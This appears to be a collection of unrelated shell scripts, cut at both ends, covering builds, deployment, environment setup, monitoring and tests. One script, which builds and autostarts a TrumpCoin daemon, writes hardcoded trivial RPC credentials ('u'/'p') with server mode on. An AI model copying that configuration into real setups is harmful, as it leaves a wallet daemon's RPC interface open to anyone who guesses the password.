-1\nfi\n\nCURRENT=$(kubectl config current-context)\nGCP_REGION=$(cut -d'_' -f3 <<<${CURRENT})\nKBATCH_GKE_CLUSTER=$(cut -d'_' -f4 <<<${CURRENT})\n\nread -p \"\nUsing Project ID: '${GCP_PROJECT}'\nGCP region: '${GCP_REGION}'\nKbatch GKE Cluster: '${KBATCH_GKE_CLUSTER}'\nShould these config values be used to disable exporting metrics to Stackdriver? Y/n \" USE_CONFIG\n\nif [[ \"$USE_CONFIG\" = \"n\" || \"$USE_CONFIG\" = \"N\" ]]; then\n read -p \"Please provide the GCP project id:\" GCP_PROJECT\n read -p \"Please provide the GCP region:\" GCP_REGION\n read -p \"Please provide the Kbatch GKE cluster name:\" KBATCH_GKE_CLUSTER\n\n gcloud config set project ${GCP_PROJECT} && gcloud container clusters get-credentials ${KBATCH_GKE_CLUSTER} --zone ${GCP_REGION}\nfi\n\nkubectl delete deployment/kbatch-prometheus-deployment -n kube-system\nif [[ \"$?\" -ne 0 ]] ; then\n echo \"Failed to find kbatch-prometheus-deployment.\"\n exit 1\nfi\n\nkubectl apply -f prometheus.yaml\n\necho \"Please refer to https://cloud.google.com/monitoring/workspaces/guide#disabling-monitoring for disabling Stackdriver monitoring.\""} {"text": ".ci/deploy.sh1-10\n#!/bin/bash\nset -e # exit with nonzero exit code if anything fails\n\necho \"Add ssh key to remote server...\"\nopenssl aes-256-cbc -K $encrypted_83630750896a_key -iv $encrypted_83630750896a_iv -in .enc -out ~/.ssh/deploy@morty -d\nchmod 600 ~/.ssh/deploy@morty\neval \"$(ssh-agent -s)\"\nssh-add ~/.ssh/deploy@morty"} {"text": "gitter-badger/docker-acme.sh\n#!/usr/bin/with-contenv bash\n# shellcheck shell=bash\n\n# This cont-init will only be applied if ACMESH_DAEMON is set to \"1\" which implies\n# running the acme.sh renewal daemon. This script is responsible for setting up\n# logging prerequisites.\n\nset -eu\n\nif [ -v ACMESH_DAEMON ] && [[ $ACMESH_DAEMON == \"1\" ]]; then\n echo \"** Setting up logging for daemon\"\n\n if ! [ -v S6_LOGGING_SCRIPT ]; then\n printf \"n30 s10000000 S15000000 T !'gzip -nq9'\" >/var/run/s6/container_environment/S6_LOGGING_SCRIPT\n fi\n\n mkdir -p \"$LE_LOG_DIR\"\n chown -R \"$PUID:$PGID\" \"$LE_LOG_DIR\"\n\n mkdir -p \"$LE_LOG_DIR/acmesh-renewal\"\n chown \"$PUID:$PGID\" \"$LE_LOG_DIR/acmesh-renewal\"\nfi"} {"text": "#!/bin/bash\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n# brew.sh\n#\n# setup a new LINUX machine\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\ncd \"$(dirname \"${BASH_SOURCE[0]}\")\" && . \"../helper.sh\"\n\n# setup SSH\n# i downloaded and copied files, but guess we should gen a new pair\n# copy downloaded files\n# cp ~/Downloads/id_rsa.pub ~/.ssh/\n# correct permission\n# sudo chmod 600 ~/.ssh/id_rsa\n\n\n\n\n# update packagelist upfront\nsudo apt update;\n# - - - - - - - - - - - - - - - - - - - - - - - - -\n# installing packages\n./packages.sh\n\n\n# - - - - - - - - - - - - - - - - - - - - - - - - -\n# installing oh-my-zsh\n./../common/oh_my_zsh.sh\n\n\n# - - - - - - - - - - - - - - - - - - - - - - - - -\n# installing Node Verion Manager\n./../common/nvm.sh"} {"text": "0\ngit cam \"$1\" # in case crash :(\n./go.sh\ngit cam \"$1\"\ngit pom"} {"text": "CSI-Woo-Lab/PandaSchedulingModel\nnum_procs=8\nnum_tasks=64\n\npython train_greedy.py \\\n--num_procs=$num_procs \\\n--num_tasks=$num_tasks \\\n--range_l=5.00 \\\n--range_r=5.90 \\\n--use_deadline=True\n\n\npython train_greedy.py \\\n--num_procs=$num_procs \\\n--num_tasks=$num_tasks \\\n--range_l=6.00 \\\n--range_r=6.90 \\\n--use_deadline=True\n\npython train_greedy.py \\\n--num_procs=$num_procs \\\n--num_tasks=$num_tasks \\\n--range_l=7.00 \\\n--range_r=7.90 \\\n--use_deadline=True"} {"text": "baxeico/django-lazycrud0\n#!/bin/bash\nversion=$1\n\nif [ -z \"$version\" ]; then\n echo \"Usage: $0 version\"\n exit 1\nfi\n\npython setup.py sdist\ntwine upload dist/django-lazycrud-${version}.tar.gz\nrm -rf build dist django_lazycrud.egg-info"} {"text": "#!/bin/bash\n\nset -euo pipefail\nVM_VERSION=\"201911012148\"\nBASE_VM_DOWNLOAD_PATH=\"https://github.com/OpenSmalltalk/opensmalltalk-vm/releases/download/$VM_VERSION\"\n\necho \"Installing VM $VM_VERSION for $RUNNER_OS\"\n\ninstallVmLinux() {\n sudo apt-get update\n sudo apt-get install pulseaudio\n VM_FILENAME=\"squeak.cog.spur_linux64x64_itimer_$VM_VERSION\"\n\n wget \"$BASE_VM_DOWNLOAD_PATH/$VM_FILENAME.tar.gz\"\n tar -xvzf \"$VM_FILENAME.tar.gz\"\n sqcogspur64linux/bin/squeak --version\n}\n\ninstallVmMacOS() {\n VM_FILENAME=\"squeak.cog.spur_macos64x64_$VM_VERSION\"\n\n wget \"$BASE_VM_DOWNLOAD_PATH/$VM_FILENAME.dmg\"\n sudo hdiutil attach \"$VM_FILENAME.dmg\"\n cd \"/Volumes/$VM_FILENAME\"\n sudo cp -rf Squeak.app /Applications\n}\n\ncase $RUNNER_OS in\n \"Linux\")\n installVmLinux ;;\n \"macOS\")\n installVmMacOS ;;\nesac"} {"text": "10-100\n#!/usr/bin/env bash\n\nsudo apt -y install zsh command-not-found"} {"text": "IHA114/mattatalaunch.sh0\n#!/bin/sh\nif [ ! -f ./configuration.lua ]\nthen\n\techo \"[mattata] Please insert the required variables into configuration.example.lua.\"\n echo \"[mattata] Then, you need to rename configuration.example.lua to configuration.lua!\"\nelse\n\twhile true\n\tdo\n\t\tlua -e \"require('mattata').run({}, require('configuration'))\"\n\t\techo \"[mattata] Your instance of mattata has been stopped.\"\n\t\tsleep 3s\n\tdone\nfi"} {"text": "release/build.sh\n#!/bin/sh\n\ncd $(dirname \"$0\")\n\nversion=$(grep 'const Version' ../version.go | cut '-d\"' -f2)\n\nbuild_dir=$1\n\nrm -rf \"$build_dir\"\n\necho \"Current version: $version\"\n\nrelease() {\n goos=$1\n goarch=$2\n\n target_name=\"heraldd-$goos-$goarch-$version\"\n target_dir=\"$build_dir/$target_name\"\n archive_name=\"$target_name.tar.gz\"\n\n rm -rf \"$target_dir\"\n rm -f \"$archive_name\"\n\n mkdir -p \"$target_dir\"\n\n GOOS=$goos GOARCH=$goarch go build -ldflags '-s -w' -o \"$target_dir\" ..\n\n if [ $? -eq 0 ]; then\n echo \"Build Herald Daemon $goos-$goarch successfully\"\n else\n echo \"Build Herald Daemon $goos-$goarch failed\"\n fi\n\n cp ../support/config.yml.example \"$target_dir/config.yml\"\n if [ $goos = linux ]; then\n cp -r ../support/systemd \"$target_dir/systemd\"\n elif [ $goos = freebsd ]; then\n cp -r ../support/rc.d \"$target_dir/rc.d\"\n fi\n\n tar -C \"$build_dir\" -czf \"$build_dir/$archive_name\" \"$target_name\"\n\n if [ $? -eq 0 ]; then\n echo \"Pack Herald Daemon $goos-$goarch successfully\"\n else\n echo \"Pack Herald Daemon $goos-$goarch failed\"\n fi\n}\n\n\nrelease linux amd64\nrelease linux 386\nrelease linux arm64\nrelease linux arm\nrelease darwin amd64\nrelease freebsd amd64\nrelease freebsd 386\nrelease windows amd64\nrelease windows 386"} {"text": "#!/bin/sh\n\ndocker build -t saidsef/jenkins-with-docker ."} {"text": "10-100\n#/bin/bash\n\nexport ANDROID_NDK=/opt/env/android-ndk-r14b\n\nrm -r build\nrm main\nmkdir build && cd build \n\ncmake -DCMAKE_TOOLCHAIN_FILE=$ANDROID_NDK/build/cmake/android.toolchain.cmake \\\n\t-DANDROID_ABI=\"armeabi-v7a\" \\\n\t-DANDROID_NDK=$ANDROID_NDK \\\n\t-DANDROID_PLATFORM=\"android-22\" \\\n\t..\n\nmake && make install\n\ncd .."} {"text": "# -*- sh -*-\n\n# https://joshdick.net/2017/06/08/my_git_prompt_for_zsh_revisited.html\n\nsetopt PROMPT_SUBST\nautoload -U colors && colors # Enable colors in prompt\n\n# Echoes a username/host string when connected over SSH (empty otherwise)\nssh_info() {\n [[ \"$SSH_CONNECTION\" != '' ]] && echo '%(!.%{$fg[red]%}.%{$fg[yellow]%})%n%{$reset_color%}@%{$fg[green]%}%m%{$reset_color%}:' || echo ''\n}\n\n# Echoes information about Git repository status when inside a Git repository\ngit_info() {\n\n # Exit if not inside a Git repository\n ! git rev-parse --is-inside-work-tree > /dev/null 2>&1 && return\n\n # Git branch/tag, or name-rev if on detached head\n local GIT_LOCATION=${$(git symbolic-ref -q HEAD || git name-rev --name-only --no-undefined --always HEAD)#(refs/heads/|tags/)}\n\n local AHEAD=\"%{$fg[red]%}⇡NUM%{$reset_color%}\"\n local BEHIND=\"%{$fg[cyan]%}⇣NUM%{$reset_color%}\"\n local MERGING=\"%{$fg[magenta]%}⚡︎%{$reset_color%}\"\n local UNTRACKED=\"%{$fg[red]%}●%{$reset_color%}\"\n local MODIFIED=\"%{$fg[yellow]%}●%{$reset_color%}\"\n local STAGED=\"%{$fg[green]%}●%{$reset_color%}\"\n\n local -a DIVERGENCES\n local -a FLAGS\n\n local NUM_AHEAD=\"$(git log --oneline @{u}.. 2> /dev/null | wc -l | tr -d ' ')\"\n if [ \"$NUM_AHEAD\" -gt 0 ]; then\n DIVERGENCES+=( \"${AHEAD//NUM/$NUM_AHEAD}\" )\n fi\n\n local NUM_BEHIND=\"$(git log --oneline ..@{u} 2> /dev/null | wc -l | tr -d ' ')\"\n if [ \"$NUM_BEHIND\" -gt 0 ]; then\n DIVERGENCES+=( \"${BEHIND//NUM/$NUM_BEHIND}\" )\n fi\n\n local GIT_DIR=\"$(git rev-parse --git-dir 2> /dev/null)\"\n if [ -n $GIT_DIR ] && test -r $GIT_DIR/MERGE_HEAD; then\n FLAGS+=( \"$MERGING\" )\n fi\n\n if [[ -n $(git ls-files --other --exclude-standard 2> /dev/null) ]]; then\n FLAGS+=( \"$UNTRACKED\" )\n fi\n\n if ! git diff --quiet 2> /dev/null; then\n FLAGS+=( \"$MODIFIED\" )\n fi\n\n if ! git diff --cached --quiet 2> /dev/null; then\n FLAGS+=( \"$STAGED\" )\n fi\n\n local -a GIT_INFO\n GIT_INFO+=( \"\\033[38;5;15m±\" )\n [ -n \"$GIT_STATUS\" ] && GIT_INFO+=( \"$GIT_STATUS\" )\n [[ ${#DIVERGENCES[@]} -ne 0 ]] && GIT_INFO+=( \"${(j::)DIVERGENCES}\" )\n [[ ${#FLAGS[@]} -ne 0 ]] && GIT_INFO+=( \"${(j::)FLAGS}\" )\n GIT_INFO+=( \"\\033[38;5;15m$GIT_LOCATION%{$reset_color%}\" )\n echo \"${(j: :)GIT_INFO}\"\n\n}\n\n# Use ❯ as the non-root prompt character; # for root\n# Change the prompt character color if the last command had a nonzero exit code\n# PS1='\n# $(ssh_info)%{$fg[magenta]%}%~%u $(git_info)\n# %(?.%{$fg[blue]%}.%{$fg[red]%})%(!.#.❯)%{$reset_color%} '\n\nif [[ $TERM = \"dumb\" ]]; then\n # Basic '$' prompt for dumb terminals; helps Emacs TRAMP\n unsetopt ZLE\n unsetopt PROMPT_CR\n unsetopt PROMPT_SUBST\n export PS1='$ '\n export PROMPT='$ '\nelse \n # Interactive: No fancy git stuff, just some color.\n export PROMPT=\"\n%B%{$fg[blue]%}%n@%b%B%m%b:%B%{$fg[yellow]%}%~%b%u\n%(?.%{$fg[green]%}.%{$fg[red]%})%B%(!.#.>)%{$reset_color%} \"\nfi"} {"text": "1-10\n#!/bin/bash\n\nBuildDir=\"./linuxbuild\" # root of output dir for built files\nDistDir=\"./linuxbuild/dist\" # distribution \"binary\" output dir\n\nCC=\"g++\"\nCFLAGS=\"-Wall -O3\"\nLDFLAGS=\"-lSDL2 -lSDL2_ttf -lSDL2_image\"\n\n# start clean for this test\nrm -fr \"${BuildDir}\"\nmkdir -p \"${BuildDir}\"\n\n# get all source files\nsrcFiles=\"\"\nfor srcFile in ./{emulator/common,emulator/webassembly}/*.cpp; do\n srcFiles+=\"${srcFile} \"\ndone\nsrcFiles+=\"./emulator/mos6502/mos6502.cpp \"\nsrcFiles+=\"./emulator/dcc6502/dcc6502.cpp \"\n\n# compile 6502 assembler program\ncd 6502\ndasm rom.asm -f3 -orom.bin -llisting.txt\ncd ..\n\n# compile and link object files into binary runtime in DistDir\nmkdir -p \"${DistDir}\"\n${CC} -I ./emulator/common -I ./emulator/mos6502 ${srcFiles} ${CFLAGS} ${LDFLAGS} -o ${DistDir}/simple6502\ncp ./emulator/webassembly/index.html ${DistDir}\ncp ./emulator/webassembly/Vera.ttf ${DistDir}\ncp ./emulator/webassembly/background.png ${DistDir}\ncp ./6502/rom.bin ${DistDir}\ncp ./6502/listing.txt ${DistDir}\n\n# start program\ncd \"${DistDir}\"\n./simple6502"} {"text": "g++ jiofi-info.cpp -o jiofi-info -lcurl -lpaho-mqtt3as -lpaho-mqttpp3"} {"text": "#!/bin/bash\n# setup installs\nsudo apt-get install python-setuptools python-pip\n\n#pip installs\nsudo pip install virtualenv\nsudo easy_install virtualenvwrapper\nsudo apt-get install -y python-dev\nsudo apt-get install freetype* libpng-dev libjpeg8-dev\nsudo apt-get install libblas-dev liblapack-dev gfortran\n\n#gdal install\nsudo apt-get install -y build-essential libxml2-dev libxslt1-dev libpq-dev\nsudo apt-get install libgdal-dev # install is 125MB\nsudo apt-get install python-gdal\n\n#install postgresql postgis\nsudo apt-get install postgresql-9.3 postgresql-9.3-postgis-2.1 pgadmin3 postgresql-contrib python-psycopg2\nsudo apt-get install binutils libproj-dev\n\n# virtualenv install\nexport WORKON_HOME=~/venvs\nmkdir $WORKON_HOME\nsource /usr/local/bin/virtualenvwrapper.sh\nmkvirtualenv pygeoan_cb\necho \"export WORKON_HOME=$WORKON_HOME\" >> ~/.bashrc\necho \"source /usr/local/bin/virtualenvwrapper.sh\" >> ~/.bashrc\nsource ~/.bashrc\n\nworkon pygeoan_cb\n\n# use the requirements.txt file for quick install found in the root project directory\n# pip install -r ../../requirements.txt\n\npip install numpy\npip install pyproj\npip install shapely==1.5.2\npip install matplotlib\npip install descartes\npip install pyshp\npip install geojson==1.3.1\npip install pandas==0.16.12\npip install scipy\npip install pysal\npip install ipython\npip install django==1.8.3\npip install jinja2==2.7.3\npip install owslib==0.9.0\npip install tilestache==1.50.1\npip install folium==0.1.4\npip install gdal==1.11.0\npip install ipython==2.3.0\npip install kartograph.py==0.6.8\npip install networkx==1.9.1\n\ntoggleglobalsitepackages\nenable global site-packages"} {"text": "# platform = Red Hat Enterprise Linux 7\nchown root /etc/shadow"} {"text": "ports/sqlite/package.sh\n#!/opt/local/bin/mksh ../../.port.sh\nport=sqlite\nversion=322000\nuseconfigure=true\nworkdir=sqlite-autoconf-3220000\nfiles=\"https://sqlite.org/2018/sqlite-autoconf-3220000.tar.gz sqlite-autoconf-3220000.tar.gz 2fb24ec12001926d5209d2da90d252b9825366ac\""} {"text": "ping.sh\n#!/bin/sh\nTARGET=$1; [ -z \"$TARGET\" ] && TARGET=\"8.8.8.8\"\nPING=\"ping $TARGET -W 1 -c 1 -q 2>&1 | tail -1\"\nLOG=/tmp/ping.log\n\nchkResult() {\n r=1; (echo \"$1\" | grep -e '100% packet loss' -e 'unreachable' -e 'Invalid' -e 'address') && r=0\n #echo \"1: $1\"; echo \"r: $r\"\n return $r\n}\n\ndate | tee -a $LOG\nresult=`eval $PING`\nchkResult \"$result\"; r0=$?\necho \"[$TARGET] $result\" | tee -a $LOG\nwhile true; do\n sleep 1\n result=`eval $PING`\n chkResult \"$result\"; r1=$?\n if [ $r1 != $r0 ]; then ## this works for all bash/ash/sh\n date | tee -a $LOG\n echo \"[$TARGET] $result\" | tee -a $LOG\n else\n echo \"$result\"\n fi\n r0=$r1\ndone"} {"text": "sh/my_wal_archiver.sh10-100\n#!/bin/sh\n\nARCHIVING_PATH=/mnt/data2/wal_archive\nLOG=${ARCHIVING_PATH}/log.txt\nNOW=$( date -R )\n\nif [ $# -ne 2 ]\nthen\n echo \"ERROR $NOW: $0 %f %p\"\n exit 2\nfi\n\nSRC_FILE=$2 # file with path\nDST_FILE=${ARCHIVING_PATH}/$1\n\n# non sovrascrivo il file se esiste gia!\nif [ -f ${DST_FILE} ]\nthen\n echo \"KO $NOW: $1 esiste gia'\" >> $LOG\n exit 1\nfi\n\ncp ${SRC_FILE} ${DST_FILE} && echo \"OK $NOW: WAL segment $1 copiato\" >> $LOG && exit 0\nexit 1"} {"text": "#!/bin/sh\nrm -rf build *.so *~ *.o tmp* *.egg-info *.pyc"} {"text": "trumpcoin-blockchain-ubuntu/build_infx.sh\n#!/bin/bash\n\nset -e \n\ndate\nps axjf\n\n#################################################################\n# Update Ubuntu and install prerequisites for running TrumpCoin #\n#################################################################\nsudo apt-get update\n#################################################################\n# Build TrumpCoin from source #\n#################################################################\nNPROC=$(nproc)\necho \"nproc: $NPROC\"\n#################################################################\n# Install all necessary packages for building TrumpCoin #\n#################################################################\nsudo apt-get install -y qt4-qmake libqt4-dev libminiupnpc-dev libdb++-dev libdb-dev libcrypto++-dev libqrencode-dev libboost-all-dev build-essential libboost-system-dev libboost-filesystem-dev libboost-program-options-dev libboost-thread-dev libboost-filesystem-dev libboost-program-options-dev libboost-thread-dev libssl-dev libdb++-dev libssl-dev ufw git\nsudo add-apt-repository -y ppa:bitcoin/bitcoin\nsudo apt-get update\nsudo apt-get install -y libdb4.8-dev libdb4.8++-dev\n\ncd /usr/local\nfile=/usr/local/TrumpCoin\nif [ ! -e \"$file\" ]\nthen\n\tsudo git clone https://github.com/TRUMPCOIN/TRUMP TrumpCoin\nfi\n\ncd /usr/local/TrumpCoin/src\nfile=/usr/local/TrumpCoin/src/TrumpCoind\nif [ ! -e \"$file\" ]\nthen\n\tsudo make -j$NPROC -f makefile.unix\nfi\n\nsudo cp /usr/local/TrumpCoin/src/Trumpcoind /usr/bin/Trumpcoind\n\n################################################################\n# Configure to auto start at boot\t\t #\n################################################################\nfile=$HOME/.TrumpCoin\nif [ ! -e \"$file\" ]\nthen\n\tsudo mkdir $HOME/.TrumpCoin\nfi\nprintf '%s\\n%s\\n%s\\n%s\\n' 'daemon=1' 'server=1' 'rpcuser=u' 'rpcpassword=p' | sudo tee $HOME/.TrumpCoin/TrumpCoin.conf\nfile=/etc/init.d/TrumpCoin\nif [ ! -e \"$file\" ]\nthen\n\tprintf '%s\\n%s\\n' '#!/bin/sh' 'sudo TrumpCoin' | sudo tee /etc/init.d/TrumpCoin\n\tsudo chmod +x /etc/init.d/TrumpCoin\n\tsudo update-rc.d TrumpCoin defaults\t\nfi\n\n/usr/bin/TrumpCoin\necho \"TrumpCoin has been setup successfully and is running...\"\nexit 0"} {"text": "@test \"downloaded file retained (1)\" {\n grep \"mine\" /var/cache/download_and_do/download/test.sh\n}\n\n@test \"downloaded file retained (2)\" {\n grep \"mine\" /var/cache/download_and_do/download/test2.sh\n}\n\n@test \"command not run (1)\" {\n grep \"mine\" /run_test\n}\n\n@test \"command not run (2)\" {\n grep \"worked\" /run2_test\n}"} {"text": "1-10\n#! /bin/sh\n\n# Copyright 2020 The mssqlproxy developers (see CONTRIBUTORS)\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# network.forceencryption Force encryption of incoming client connections\n# network.ipaddress IP address for incoming connections\n# network.kerberoskeytabfile Kerberos keytab file location\n# network.tcpport TCP port for incoming connections\n# network.tlscert Path to certificate file for encrypting incoming client connections\n# network.tlsciphers TLS ciphers allowed for encrypted incoming client connections\n# network.tlskey Path to private key file for encrypting incoming client connections\n# network.tlsprotocols TLS protocol versions allowed for encrypted incoming client connections\n\n#/opt/mssql/bin/mssql-conf set network.tlscert /server-cert.pem\n#/opt/mssql/bin/mssql-conf set network.tlskey /server-key.pem\n#/opt/mssql/bin/mssql-conf set network.tlsprotocols 1.2\n#/opt/mssql/bin/mssql-conf set network.forceencryption 1\n\nexec \"$@\""} {"text": "hka/HitAnalyzer\ngcc -o HitAnalyzer HitAnalyzer.c parg.c $(pkg-config --libs --cflags sdl2) -lm"} {"text": "0\n#!/usr/bin/env bats\n#\n# Copyright 2020 Appvia Ltd <>\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nload helper\n\n@test \"We should be able to list the embedded plans\" {\n runit \"${KORE} get plans\"\n [[ \"$status\" -eq 0 ]]\n}\n\n@test \"We should have a gke-development plan\" {\n runit \"${KORE} get plans gke-development\"\n [[ \"$status\" -eq 0 ]]\n}\n\n@test \"We should have a gke production plan\" {\n runit \"${KORE} get plans gke-production\"\n [[ \"$status\" -eq 0 ]]\n}\n\n@test \"The plans should include valid json data\" {\n runit \"${KORE} get plans gke-development -o json | jq '.'\"\n [[ \"$status\" -eq 0 ]]\n}\n\n@test \"We should see a valid version in the gke plan\" {\n runit \"${KORE} get plans gke-development -o json | jq '.spec.configuration.version' | grep gke\"\n [[ \"$status\" -eq 0 ]]\n}"} {"text": "sh/install/doxygen.sh1-10\nsource \"sh/common.sh\"\n\nif is_windows; then\n choco install -y doxygen.install\nelse\n sudo apt-get update -y\n sudo apt-get install -y doxygen\nfi"} {"text": "1-10\n#location = /var/lib/boot2docker/\nmkdir /sys/fs/cgroup/systemd\nmount -t cgroup -o none,name=systemd cgroup /sys/fs/cgroup/systemd"} {"text": "suncongxd/ReCFA-devpatch-spec-src.sh\n#! /bin/bash\n\ntestcase_root=$(pwd)\n#echo $testcase_root\n\nspec_root=${testcase_root}\"/spec2006/\"\nspec_build_root=${testcase_root}\"/spec2006/benchspec/CPU2006\"\n#echo $spec_root\nspec_patch_root=${testcase_root}\"/spec_patch\"\n\n\n\n#copy the patches\npatch_gcc() {\n gcc_root=$spec_build_root\"/403.gcc/\"\n cp $spec_patch_root\"/gcc_diff.patch\" $gcc_root\n cd $gcc_root\n \n patch -s -p0 < gcc_diff.patch\n cd src\n\n cp $spec_patch_root\"/Makefile-403gcc-gcc\" ./Makefile\n make\n cp \"gcc_base.gcc_O0\" ${testcase_root}\"/spec_gcc/O0/\"\n make clean\n\n cp $spec_patch_root\"/Makefile-403gcc-llvm\" ./Makefile\n make\n cp \"gcc_base.llvm_O0\" ${testcase_root}\"/spec_llvm/O0/\"\n make clean\n}\n\n\npatch_hmmer() {\n hmmer_root=$spec_build_root\"/456.hmmer/\"\n cp $spec_patch_root\"/hmmer_diff.patch\" $hmmer_root\n cd $hmmer_root\n \n patch -s -p0 < hmmer_diff.patch\n cd src\n\n cp $spec_patch_root\"/Makefile-456hmmer-gcc\" ./Makefile\n make\n cp \"hmmer_base.gcc_O0\" ${testcase_root}\"/spec_gcc/O0/\"\n make clean\n\n cp $spec_patch_root\"/Makefile-456hmmer-llvm\" ./Makefile\n make\n cp \"hmmer_base.llvm_O0\" ${testcase_root}\"/spec_llvm/O0/\"\n make clean\n}\n\n\npatch_gcc\npatch_hmmer"} {"text": "#!/usr/bin/env bash\n\nset -e\n\nif [ -f \"${SUBPROJECT}/install.sh\" ]; then\n (cd \"${SUBPROJECT}\"; ./install.sh)\nelse\n ./scripts/install_bnfc.sh\nfi"} {"text": "#!/bin/bash -e\n\nif [ ! -f debian/control ]; then\n echo \"Cannot find debian/control\" >&2\n exit 1\nfi\n\nif [[ -n ${UID} && -n ${GID} ]]; then\n addgroup --gid ${GID} --quiet docker-build\n adduser --uid=${UID} --gid=${GID} --disabled-password --gecos '' --quiet docker-build\nelse\n echo \"UID/GID not set. Use docker run -e UID=$(id -u) -e GID=$(id -g)\" >&2\n exit 1\nfi\n\n# install build dependencies using tmpdir to not interfer with parallel builds\ntopdir=$(pwd)\ntmpdir=$(mktemp -d)\npushd ${tmpdir} >/dev/null\nmk-build-deps --tool='apt-get -o Debug::pkgProblemResolver=yes --no-install-recommends --yes' --install ${topdir}/debian/control\npopd >/dev/null\nrm -rf ${tmpdir}\n\n# start build\nexport HOME=$(echo ~docker-build)\nsudo -E -u docker-build gbp buildpackage \"$@\""} {"text": "#! /bin/sh\n#\n# $Id$\n#\n#set -x\n\nROOT_DIR=`pwd`\n\n# for the release version, move the relevant files\nif [ $# -gt \"0\" ] ; then \n if [ $1 = \"nocheck\" ] ; then\n\tdiffiles=\"\"\n fi\nelse\n echo \"testing CVS integrity\"\n # test if there are CVS files in the current directory which are not up-to-date\n diffiles=`cvs status 2> /dev/null | grep File | awk '$4 != \"Up-to-date\" { print $2 }'`\nfi\n\nif [ ! -n \"$diffiles\" ] ; then\n mkdir __distribution\n cd __distribution\n TAR_DIR=`pwd`\n\n # checkout ch_smi in ./mpid/ch_smi\n echo \"checking out ch_smi etc.\"\n cvs checkout mp-mpich/mpid/ch_smi 2>/dev/null >/dev/null\n cvs checkout mp-mpich/mpid/lfbs_common 2>/dev/null >/dev/null\n cvs checkout mp-mpich/mpid/ch2/dev.h 2>/dev/null >/dev/null\n cvs checkout mp-mpich/util/ 2>/dev/null >/dev/null\n \n cd mp-mpich\n MPICH_DIR=`pwd`\n cd mpid/ch_smi\n CH_SMI_DIR=`pwd`\n\n # remove CVS directories\n echo \"removing CVS directories and original files\"\n find . -type d -name CVS -exec rm -r {} \\;\n find . -name \\*.orig -exec rm {} \\;\n\n echo \"fixing files\"\n for dir in \"install/1.1.2\" \"install/1.2.0\" ; do\n\tcd $dir\n\n\t# remove files which should not become tar'ed\n\trm Makefile.in configure util/mpirun.*in\n\n\t# add mpirun.ch_smi.in to the archive\n\tcp ${MPICH_DIR}/util/mpirun.ch_smi.in ./util\n\n\t# for the 1.2.0, get some files from the MP-MPICH source tree\n\tif [ $dir = \"install/1.2.0\" ] ; then\n\t cp ${MPICH_DIR}/mpid/ch2/dev.h ./mpid/ch_smi\n\t cp ${MPICH_DIR}/mpid/lfbs_common/adi2cancel.c ./mpid/ch_smi\n\t mv ${CH_SMI_DIR}/Makefile.in ./mpid/ch_smi\n\tfi\n\n\tcd $CH_SMI_DIR\n done\n\n # make links for installation script\n cd ${TAR_DIR}/mp-mpich\n ln -s mpid/ch_smi/install.sh ./install-ch_smi\n \n # put everything together\n echo \"tar'ing & zipping\"\n tar cf ${ROOT_DIR}/ch_smi.tar mpid/ch_smi ./install-ch_smi\n\n # clean up\n cd ${ROOT_DIR}\n gzip ch_smi.tar\n\n echo \"cleaning up\"\n rm -r __distribution\n echo \"ch_smi.tar.gz now contains the current state of ch_smi.\"\n echo \"Please check that patches are valid!\"\nelse\n echo \"The following files are not Up-to-date:\"\n echo \"$diffiles\"\nfi"} {"text": "1-10\n#!/bin/bash -l\n#SBATCH -A a2012043 \n#SBATCH -p core\n#SBATCH -t 01:00:00\n#SBATCH -J setting_dependencies\n#SBATCH -e setting_dependencies.err\n#SBATCH -o setting_dependencies.out\nwhile getopts \":e:\" option; do\n case ${option} in\n e) extra_arg=${OPTARG};;\n esac\ndone\nshift $(( OPTIND - 1 ))\n\nnames=$1\nbedfile=$2\nproject_id=$3\nconfig_file=$4\nrun_name=$5\npath=$6\ngtf_file=$7\nWP=$8\nmail=$9\norder_num=${10}\ngenome=${11}\nsingle=${12}\n\nname_list=(`echo $names | tr \",\" \"\\n\"`)\n\ncd $path\nDEPENDENCY='afterok'\nDEP_REPORT='afterok'\nfor i in ${name_list[*]};do\n\t## read distribution\n echo 'read distribution'\n\tmake_RseqQc_rd.py $i $bedfile $mail $config_file $path\n echo \"...\"\n\tJOB=`sbatch RSeQC_${i}_rd.sh| sed -re 's/.+\\s+([0-9]+)/\\1/'`\n DEP_REPORT=$DEP_REPORT:$JOB\n echo \"make_RseqQc_gbc.py\" \n\n make_RseqQc_gbc.py $i $bedfile $mail $config_file $path\n echo '....'\n JOB=`sbatch RSeQC_${i}_gbc.sh| sed -re 's/.+\\s+([0-9]+)/\\1/'`\n DEP_REPORT=$DEP_REPORT:$JOB\n\t## statistics\n echo 'statistics'\n\tget_stat.py ${i} $mail $config_file \n echo '...'\n\tJOB=`sbatch ${i}_get_stat.sh| sed -re 's/.+\\s+([0-9]+)/\\1/'`\n DEP_REPORT=$DEP_REPORT:$JOB\n echo 'complexity'\n ## lib complexity\n make_complexity_plots.py ${i} $mail $config_file $path $order_num $single\n JOBID=`sbatch complexity_${i}.sh| sed -re 's/.+\\s+([0-9]+)/\\1/'`\n DEPENDENCY=$DEPENDENCY:$JOBID\ndone\necho $DEPENDENCY\n## make complexity plot\nJOB=`sbatch --dependency=$DEPENDENCY ${WP}/GenerateComplexityPlots.sh ${WP}| sed -re 's/.+\\s+([0-9]+)/\\1/'`\nDEP_REPORT=$DEP_REPORT:$JOB\n\n## seqQc_inferexpe\nRseqQc_inferexpe.py $bedfile $mail $config_file $path\nJOB=`sbatch RseqQc_inferexpe.sh $bedfile| sed -re 's/.+\\s+([0-9]+)/\\1/'`\nDEP_REPORT=$DEP_REPORT:$JOB\n\n## quantify_rRNA\nmake_sbatch.py a2012043 